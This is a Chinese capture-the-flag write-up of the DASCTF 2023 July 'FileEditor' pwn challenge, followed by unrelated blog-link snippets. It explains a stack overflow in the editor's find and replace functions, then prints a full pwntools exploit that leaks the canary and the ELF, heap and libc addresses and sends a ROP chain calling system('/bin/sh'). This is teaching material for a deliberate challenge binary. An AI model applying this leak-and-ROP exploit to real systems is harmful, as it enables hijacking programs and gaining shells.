DASCTF 2023 & 0X401七月暑期挑战赛【PWN】(FileEditor篇)
DASCTF 2023 & 0X401七月暑期挑战赛【PWN】(FileEditor篇)
题目保护情况(保护全家桶)

64位ida逆向

模拟了一个类似vim的功能,有打开文件,打印内容,插入行,删除行,复制行,和编辑行,还有查找字符和替换字符的功能,然后就是保存退出
一个一个来分析吧
1.open
就是打开一个file文件。没有会创建

2.show
(没有什么特别的,打印内容)

3.插入行
输入n,m,和内容,在n行前面插入m行

4.删除行
还是输入n和m,功能是在起始行m后删除n行

5.复制行
功能是复制自k行后面的m行数据给起始于n行之后的数据

6.编辑行
输入编辑的行,然后输入内容

7.查找字符
会把我们的内容先放到src上,src有0x70大小

8.替换字符
同样也是

9.保存退出
0.退出编辑
分析:可以通过查找字符或者替换字符的功能,把输入文件的内容放到栈上,输入0x68+1个字节覆盖canary末尾,然后打印的时候会顺带打印出canary,同样用这个手法,泄露出libc地址和堆地址,也可以不需要直接用libc里面的binsh字符串,最后通过编辑把ropchain写入栈上,然后查找时通过溢出劫持程序流来获取shell。
exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./FileEditor')
#io = remote('node5.buuoj.cn',27825)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def open():
io.sendlineafter('> choose:','1')
def instert(n,m,msg):
io.sendlineafter('> choose:','3')
io.sendlineafter('> To insert m lines before line n, please enter n m:',n)
io.sendline(m)
io.sendafter('> Please enter the content to be inserted in sequence:',msg)
def show():
io.sendlineafter('> choose:','2')
def edit(num,msg):
io.sendlineafter('> choose:','6')
io.sendlineafter('> Please enter the line number to be modified:',num)
io.sendafter('> Please enter the new content:',msg)
def find(string):
io.sendlineafter('> choose:','7')
io.sendlineafter('> Please enter the string to search for:',string)
io.sendlineafter('> Do you want to continue searching? (y/n)','n')
#gdb.attach(io)
open()
payload = 'b'+'a'*(0x68-1)
#gdb.attach(io)
instert('1','1',payload)
io.send('\n')
find('b')
edit('1',payload)
io.send('\n')
show()
io.recvuntil('a'*103)
canary = u64(io.recv(8))-0xa
success('canary---->'+hex(canary))
payload = b'b'+b'a'*(0x68-1) + p64(canary+ord('a')) + b'c'*8
edit('1',payload)
io.send('\n')
#gdb.attach(io)
sleep(0.5)
show()
io.recvuntil('c'*8)
elf_base = u64(io.recv(6).ljust(8,b'\x00')) - (0x59640d98850a -0x59640d987000)
success('elf_base----->'+hex(elf_base))
payload = payload = b'b'+b'a'*(0x68-1) + p64(canary+ord('a')) + b'c'*24 + b'd'*8
edit('1',payload)
io.send('\n')
sleep(0.5)
show()
io.recvuntil('d'*8)
heap = u64(io.recv(6).ljust(8,b'\x00')) -(0x5ab985b9d2a0 - 0x5ab985b9d000) + 0x96
success('heap----->'+hex(heap))
payload = b'b'+b'a'*(0x68-1) + p64(canary+ord('a')) + b'c'*48 + b'd'*8
edit('1',payload)
io.send('\n')
sleep(0.5)
#gdb.attach(io)
show()
io.recvuntil('d'*8)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - (0x796487e29d90 - 0x796487e28000) + 0x86 -0x28000
success('libc_base---->'+hex(libc_base))
pause()
pop_rdi = elf_base + 0x0000000000002ac3 #: pop rdi ; ret
pop_rsi = elf_base + 0x0000000000002ac1 #: pop rsi ; pop r15 ; ret
ret = elf_base + 0x000000000000101a #: ret
system = libc_base + libc.sym['system']# -0x28000
binsh = libc_base + next(libc.search('/bin/sh\0'))
#payload = b'b'+b'a'*(0x68-1) + p64(canary) + b'/bin/sh\x00' + p64(ret)
#payload += p64(pop_rdi) + p64(heap + 0x15e4) + p64(system)
payload = b'b'+b'a'*(0x68-1) + p64(canary) + p64(0xdeadbeef) + p64(ret) +p64(pop_rdi) + p64(binsh) + p64(system)
#gdb.attach(io)
edit('1',payload)
io.send('\n')
sleep(0.5)
#gdb.attach(io)
find('b')
io.interactive()
DASCTF 2023 & 0X401七月暑期挑战赛【PWN】(FileEditor篇)的更多相关文章
- [复现]DASCTF Sept X 浙江工业大学秋季挑战赛-PWN
hehepwn 一开始泄露stack地址,然后写入shellcode返回到shellcode执行 from pwn import * context.os = 'linux' context.log_ ...
- [复现]2021 DASCTF X BUUOJ 五月大联动-PWN
[复现]2021 DASCTF X BUUOJ 五月大联动 由于我没ubuntu16就不复现第一个题了,直接第二个 正常的off by one from pwn import * context.os ...
- i春秋30强挑战赛pwn解题过程
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...
- DASCTF NOV X联合出题人-PWN
太忙了,下午4点才开始做,,剩下的以后补上 签个到 逻辑很简单两个功能的堆,一个就是申请heap.还有一个是检验如果校验通过就会得到flag 申请模块 中间0x886是个很恶心的东西,需要我们绕过 ...
- 周练7(ssti)
{7*7} ->49 -> smarty {{7*'7'}} -> 49 -> twig {{7*'7'}} -> 7777777 -> jinjia2 1. [B ...
- TGL站长关于常见问题的回复
问题地址: http://www.thegrouplet.com/thread-112923-1-1.html 问题: 网站配有太多的模板是否影响网站加载速度 月光答复: wp不需要删除其他的模板,不 ...
- jcSQL简明执行流程图
赶着"黑色七月"的最后一天发一篇记点东西,这个月一共掉了三架飞机,我一直很害怕坐着一架人造的东西飞在几万米的高空,相比自己长出一对翅膀,前者应该要脆弱很多.这些人每个人都因为不同的 ...
- Python 为什么如此设计?
大概两年半前,我萌生了要创作一个新的系列文章的想法,也就是"Python为什么",试图对 Python 的语法及特性提出"为什么"式的问题,以此加深对它的理解, ...
- 【pwn】DASCTF Sept 九月赛
[pwn]DASCTF Sept 月赛 1.hehepwn 先查看保护,栈可执行,想到shellcode 这题需要注意shellcode的写法 拖入ida中分析 一直以为iso scanf不能栈溢出, ...
- 阿里聚安全攻防挑战赛第三题Android PwnMe解题思路
阿里聚安全攻防挑战赛第三题Android PwnMe解题思路 大家在聚安全挑战赛正式赛第三题中,遇到android app 远程控制的题目.我们今天带你一探究竟,如何攻破这道题目. 一.题目 购物应用 ...
随机推荐
- Django - 在后台上传文章封面图 - 并在前端页面展示
需要用到 models.ImageField(), 它继承自 models.FileField(), 用ImageField的时候需要安装pillow pip install pillow -i h ...
- Android 13 - Media框架(23)- ACodecBufferChannel
关注公众号免费阅读全文,进入音视频开发技术分享群! 这一节我们将了解 ACodecBufferChannel 上一节我们了解到input buffer 和 output buffer 是如何分配的了, ...
- 7.19考试总结(NOIP模拟20)[玩具·y·z]
与其被自己的本性牵着走而痛苦,倒不如试着改变自己. 前言 首先自我检讨一下,T1的部分分是原题,但是我这个 FW 居然没有看出来..(主要是我看错题了) 论语文素养如何限制 OI 水平 别人眼里是一棵 ...
- .NET集成DeveloperSharp实现"高效分页"&"无主键分页"
DeveloperSharp系列近期又被制造业ERP.民航飞行App.建筑BIM.电力掌上营业厅.等多家大型采用,站在巨人的肩膀上你能走的更远. 支持.Net Core2.0及以上,支持.Net Fr ...
- flutter3-weos手机OS系统|Flutter3.22+Getx仿ios桌面管理OA应用
原创自研flutter3.x+getx仿制ios手机桌面UI管理系统模板Flutter3-OS. flutter3-osx基于最新跨平台技术Flutter3.22+Dart3.4+GetX+fl_ch ...
- ETL工具-nifi干货系列 第五讲 处理器GenerateFlowFile
1.今天我们一起来学习处理器GenerateFlowFile.这个处理器创建带有随机数据或自定义内容的 FlowFiles.GenerateFlowFile 对于负载测试.配置和模拟非常有用.从工具栏 ...
- HDFS 常用操作命令
HDFS 文件操作命令 注,其实常用命令不用网上搜,和linux下的命令很类似,触类旁通,直接在linux 上 hadoop fs 看一下就行了,不需要刻意去记 我把 linux 上的 help 列举 ...
- Chapter1 p2 vec
在上一小节中,我们完成了对BMPImage类的构建,成功实现了我们这个小小引擎的图像输出功能. 你已经完成了图像输出了,接着就开始路径追踪吧... 开个玩笑XD 对于曾经学习过一些图形学经典教材的人来 ...
- Java中PDF的转换(图片)与展示
解决的问题 有些时候我们需要在项目中展示PDF,但是直接在浏览器中加入PDF展示的插件,存在兼容性问题,某些浏览器显示效果不理想,所以我们可以将PDF转为图片,然后已图片的方式展示,效果很好. 那么怎 ...
- 利用Wireshark抓包分析DNS域名解析过程
一.DNS协议概述 DNS协议也可以称为DNS服务,全称是Domain Name System,即域名系统,和HTTP协议一样,也是一个位于应用层的协议(服务),它是基于运输层的UDP协议的.从D ...